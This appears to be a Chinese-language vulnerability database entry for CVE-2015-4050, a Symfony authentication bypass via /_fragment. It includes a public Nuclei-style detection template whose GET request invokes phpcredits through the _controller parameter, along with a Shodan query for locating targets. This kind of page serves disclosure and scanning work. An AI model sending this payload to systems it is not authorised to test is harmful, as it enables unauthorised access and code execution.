CVE-2015-4050: Symfony - Authentication Bypass

日期: 2025-08-01 | 影响软件: Symfony | POC: 已公开

漏洞描述

Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.

PoC代码[已公开]

id: CVE-2015-4050

info:
  name: Symfony - Authentication Bypass
  author: ELSFA7110,meme-lord
  severity: medium
  description: Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Symfony.
  reference:
    - https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://www.debian.org/security/2015/dsa-3276
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4050
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159513.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-4050
    cwe-id: CWE-284
    epss-score: 0.76192
    epss-percentile: 0.98864
    cpe: cpe:2.3:a:sensiolabs:symfony:2.3.19:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sensiolabs
    product: symfony
    shodan-query: cpe:"cpe:2.3:a:sensiolabs:symfony"
  tags: cve2015,cve,symfony,rce,sensiolabs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Credits"

      - type: status
        status:
          - 200
# digest: 490a00463044022008ec756eaaf8b5c38921d579a0982c9a943285ec16780c19d510ad732abd8eb6022045056a4d1b2637b89f41336ec94d295f48479e342b6331de3a548abd04f3b3c5:922c64590222798bb761d5b6d8e72950

相关漏洞推荐